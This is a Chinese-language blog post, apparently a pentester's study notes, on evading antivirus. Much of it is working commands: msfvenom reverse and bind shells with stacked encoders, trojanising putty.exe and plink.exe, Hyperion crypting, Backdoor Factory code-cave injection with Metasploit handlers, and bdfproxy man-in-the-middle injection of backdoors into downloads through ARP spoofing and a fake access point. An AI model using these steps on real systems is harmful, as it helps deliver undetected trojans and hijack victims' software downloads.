渗透测试之免杀入门学习
Contents
渗透测试——免杀部分知识
1.恶意软件
- 病毒、木马、蠕虫、键盘激励、僵尸程序、流氓软件、勒索软件、广告程序
- 在用户非自愿的情况下执行安装
- 处于某种恶意的目的:控制、窃取、勒索、偷窥、推送、攻击……
2.防病毒软件
- 恶意程序最主要的防护手段
- 杀毒软件/防病毒软件
- 客户端/服务器/邮件防病毒
- 检测原理
- 基于二进制文件中特征签名的黑名单检测方法
- 基于行为的分析方法(启发式)
- 事后手段
- 永远落后于病毒发展
3.免杀技术
- 修改二进制文件中的特征字符
- 替换、擦除、修改
- 加密技术(crypter)
- 通过加密是的特征字符不可读,从而逃避AV 检测
- 运行时分片分段的解密执行,注入进程或 AV 不检查的无害文件中
- 防病毒软件的检测
- 恶意程序本身的特征字符
- 加密器 cripter 的特征字符
4.当前现状
- 恶意软件制造者
- 编写私有的 RAT 软件,避免普遍被 AV 所知的特征字符
- 使用独有 crypter 软件加密恶意程序
- 处事低调,尽量避免被发现
- 没有能力自己编写恶意代码的黑客,通过直接修改特征码的方式免杀
- Fully UnDetectable 还最高追求 (FUD)
- AV 厂商
- 广泛采集样本,尽快发现出现的病毒程序,更新病毒库
- 一般新的恶意软件安全 UD 窗口期是一周左右
- 乐毅软件制造者永无休止的拉锯战
- 信的启发式检测技术尚有待完善(误杀漏杀)
- 单一 AV 厂商的病毒库很难达到 100% 覆盖
- https://www.virustotal.com/
- 接口被某些国家的AV软禁免费利用,没有自己的病毒库
- http://www.virscan.org/
- 在线多引擎查杀网站与 AV 查杀共享信息
- 搞黑的在线多引擎查毒站
- 常用的 RAT 软件
- 灰鸽子、波尔、黑暗彗星、潘多拉、NanoCore
- https://www.virustotal.com/
5.生成病毒程序
1.生成程序
- 生成反弹 shell
1 | root@kali:~# msfvenom -p windows/shell/bind_tcp lhost=10.10.10.131 lport=4444 -a x86 --platform win -f exe -o a.exe |
- 加密编码反弹 shell
1 | root@kali:~# msfvenom -p windows/shell/bind_tcp lhost=10.10.10.132 lport=4444 -f raw -e x86/shikata_ga_nai -i 5 | msfvenom -a x86 --platform windows -e x86/countdown -i 8 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 9 -b '\x00' -f exe -o b.exe |
- 比较编码前后的检测率
2.隐藏shell
- 利用模板隐藏 shell
1 | root@kali:~# msfvenom -p windows/shell_reverse_tcp -x /usr/share/windows-binaries/plink.exe lhost=10.10.10.131 lport=4444 -a x86 --platform win -f exe -o c.exe |
- 多重编码
1 | root@kali:~# msfvenom -p windows/shell/bind_tcp -x /usr/share/windows-binaries/plink.exe lhost=10.10.10.131 lport=4444 -e x86/shikata_ga_nai -i 5 -a x86 --platform win -f exe > d.exe |
- 比较编码前后的检测率
软件保护
- 软件开发商为保护版权,采用的混淆和加密技术避免盗版逆向
- 常被恶意软件用于免杀目的
- Hyperion (32bit PE 程序加密器)
- Crypter / Container(解密器 PE Loader )
1 | root@kali:~# git clone https://github.com/nullsecuritynet/tools/raw/master/binary/hyperion/release/Hyperion-1.2.zip |
- 比较编码前后的检测率
7.自己编写后门
- Windows reverse shell
1 | root@kali:~# wine gcc.exe windows.c -o windows.exe -lws2_32 |
- Linux shell
1 | root@kali:~# gcc linux_revers_shell.c -o linux |
- linux_revers_shell.c
1 |
|
- windows.c
1 | # 未修正错误 |
后门工具–Backdoor-factory
1.简介
- patch
- 通过替换 exe、dll、注册表等方法修复系统漏洞或问题的方法
- bdf:向二进制文件中增加或者删除代码内容
- 某些受保护的二进制程序无法 patch
- 存在一定概率问价你会被 patch 坏掉
- 后门工厂
- 使用于 windows PE x32/64 和 linux ELF x32/64 (OSX)
- 支持 msf payload、自定义 payload
- 将 shellcode 代码 patch 进模板文件,躲避 AV 检查
- python 语言编写
- msf 使用的 patch 方法
- 覆盖程序入口
- msfvenom -p windows/shell/reverse_tcp
- 创建新的线程执行 shellcode 并跳回原程序入口
- msfvenom -p windows/shell/reverse_tcp –k
- 增加代码片段跳转执行后跳回源程序入口
- 覆盖程序入口
- CTP 方法
- 增加新的代码段 session,与 smf 的-k 方法类似
- 使用现有的代码裂缝/洞(code cave)存放 shellcode
- 代码洞
- 二进制中超过两个字节的连续 x00 区域(代码片段间区域)
- 根据统计判断代码洞是编译在进行编译是造成的,不同的编译器造成的代码洞的大小不同
- 单个代码洞代销不足以存放完整的 shellcode
- 多代码洞跳转(非顺序执行)
- 初期免杀率可达100%
- 结合 msf 的 stager 方法
- 多代码洞跳转(非顺序执行)
- patch 选项
- 附加代码段
- 单代码洞注入
- 多代码注入
- BDF 基本使用
- 检查二进制文件是否支持代码注入
- backdoor-factory -f putty.exe –S
- 显示可用 payload
- backdoor-factory -f putty.exe -s show
- backdoor-factory -f
which nc
-s show - backdoor-factory -f putty.exe -s show iat_reverse_tcp_stager_threaded -H 10.10.10.133 -P 4444
- 默认单一代码洞,选项 .rdata –> 查看文件 –> 查病毒
- 使用 msf 侦听 set payload windows/meterpreter/revers_tcp set LHOST 10.10.10.131 set LPORT 4444 run
- 查看 cave 大小
- ackdoor-factory -f putty.exe -c -l
- 检查二进制文件是否支持代码注入
- 免杀效果对比
- backdoor-factory -f putty.exe -s iat_reverse_tcp_stager_threaded -H 1.1.1.1 -P 6666
- backdoor-factory -f putty.exe -s iat_reverse_tcp_stager_threaded -H 1.1.1.1 -P 6666 –J
- backdoor-factory -f putty.exe -s iat_reverse_tcp_stager_threaded -H 192.168.20.8 -P 6666 -a
- 与 veil-evasion 集成
- Linux:backdoor-factory -f putty.exe -s show
- IAT:import address table
- 指针指向 WinAPI 地址,被称为 thunks (形实转换程序),地址预定义
2.使用
-S:检查二进制文件是否支持代码注入
1
root@kali:~# backdoor-factory -f putty.exe –S
- -c: 在确定其支持patch 后,我们再来查看其是否支持我们指定的 shellcode patch
1 | -c:code cave(代码裂缝) |
-s SHELL, –shell=SHELL: 可以使用的有效负载。使用“show”来查看有效载荷
1
rootfactory -f putty.exe -s show :~# backdoor-
1 | rootfactory -f `which nc` -s show :~# backdoor- |
注入 putty.exe,报错
1
root@kali:~# backdoor-factory -f putty.exe -s iat_reverse_tcp_stager_threaded -H 10.10.10.131 -P 4444 -o putty2.exe
1 | [!] Enter your selection: 2 |
显示未找到文件
1
2
3
4
5
6
7Failed to read certificate file: /usr/share/backdoor-factory/certs/Verisign.cer
139701503748160:error:02001002:system library:fopen:No such file or directory:bss_file.c:175:fopen('/usr/share/backdoor-factory/certs/VerisignPrivateKey.pem','rb')
139701503748160:error:2006D080:BIO routines:BIO_new_file:no such file:bss_file.c:182:
139701503748160:error:02001002:system library:fopen:No such file or directory:bss_file.c:175:fopen('/usr/share/backdoor-factory/certs/Verisign.cer','rb')
139701503748160:error:2006D080:BIO routines:BIO_new_file:no such file:bss_file.c:182:
Failed
File putty5.exe is in the 'backdoored' directory修复错误(备份并重命名)
1
2
3
4
5
6
7
8
9
10root@kali:~# cat /usr/share/backdoor-factory/certs/
passFile.txt signingCert.cer signingPrivateKey.pem
root@kali:~# cd /usr/share/backdoor-factory/certs/
root@kali:/usr/share/backdoor-factory/certs# cp signingCert.cer signingCert.cer.bak
root@kali:/usr/share/backdoor-factory/certs# mv signingCert.cer Verisign.cer
root@kali:/usr/share/backdoor-factory/certs# cp signingPrivateKey.pem signingPrivateKey.pem.bak
root@kali:/usr/share/backdoor-factory/certs# mv signingPrivateKey.pem VerisignPrivateKey.pem
root@kali:~# backdoor-factory -f putty.exe -s iat_reverse_tcp_stager_threaded -H 10.10.10.131 -P 4444 -o putty2.exe使用 msf 侦听
1
2
3
4
5msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 10.10.10.131
msf exploit(multi/handler) > set LPORT 4444
msf exploit(multi/handler) > runwindows 运行被注入 putty2.exe 程序,kali 反弹成功
免杀效果比较
1 | backdoor-factory -f putty.exe -s iat_reverse_tcp_stager_threaded -H 10.10.10.131 -P 4444 --output-file=putty3.exe |
与 veil-evasion 集成
1
2root@kali:~# veil-evasion
[menu>>]: list
后门工具–Bdfproxy
1.简介
- Bdfproxy(mitmproxy)
- 基于流量劫持(中间人攻击)动态注入 shellcode (ARP spoof、DNS spoof、Fake AP)
- 步骤
- sysctl -w net.ipv4.ip_forward=1
- iptables -t nat -A PREROUTING -p tcp –dport 80/443 -j REDIRECT –to-ports 8080
- vi /etc/bdfproxy/bdfproxy.cfg
- proxyMode = transparent
修改侦听 IP 地址bdfproxy
- proxyMode = transparent
- arpspoof -i eth0 -t 1.1.1.2 1.1.1.1
- 启动 msf
- 流程
- mana 创建 Fack AP
- badfproxy 代理注入代码
- msf 侦听反弹 shell
2.使用
修改 IP 转发
1
2root@kali:~# vim /etc/sysctl.conf
net.ipv4.ip_forward=1修改 iptables
1
2root@kali:~# iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
root@kali:~# iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8080修改配置文件
1
2
3root@kali:~# vim /etc/bdfproxy/bdfproxy.cfg
proxyMode = transparent
HOST = 10.10.10.131 #108行,117行,128行,替换所有的,有6个启动 bdfproxy
1
root@kali:~# bdfproxy
启动 msfconsole
1
2root@kali:~# msfconsole -r /root/bdfproxy_msf_resource.rc
msf exploit(multi/handler) > jobs
arp 欺骗
1
root@kali:~# arpspoof -i eth0 -t 10.10.10.133 10.10.10.2
靶机访问浏览器下载软件,并运行
1
![](https://i.imgur.com/1qLFgFZ.png)
3.无线流量劫持
vi /etc/mana-toolkit/hostapd-mana.conf
- 修改无线 SSID 名称
./usr/share/mana-toolkit/run-mana/start-nat-simple.sh
- 修改 wlan1 无线网卡适配器并启动
- iptables -t nat -A PREROUTING -i $phy -p tcp –dport 80/443 -j REDIRECT –to-port 8080
vi /etc/bdfproxy/bdfproxy.cfg
- proxyMode = transparent
- 修改侦听 IP 地址并启动 badfproxy
启动 msf
- msfconsole -r /usr/share/bdfproxy/bdfproxy_msf_resource.rc
补充内容
- 全站 HTTPS 防注入(微软每个补丁都带码)
- PE 文件证书签名可被清除
- PE Header -> Optional Header -> Certificate Table(Address and size)
- 全部用 0 覆盖
- BDF 默认清除数字签名
https://live.sysinternals.com/
- 这是允许访问所有Sysinternals公用程序的文件共享。我们已经开发了这个功能来测试我们实用程序的替代分配机制。
- 这将允许您从任何连接到互联网的计算机运行这些工具,而无需导航到网页,下载并解压zip文件。
-
- Sysinternals网站由Mark Russinovich于1996年创建,主办他先进的系统实用程序和技术信息。无论您是IT专业人员还是开发人员,您都可以找到Sysinternals实用程序来帮助您管理,诊断和诊断Windows系统和应用程序。
Author: Shu1L
Link: https://shu1l.github.io/2020/04/28/shen-tou-ce-shi-zhi-mian-sha-ru-men/
License: 知识共享署名-非商业性使用 4.0 国际许可协议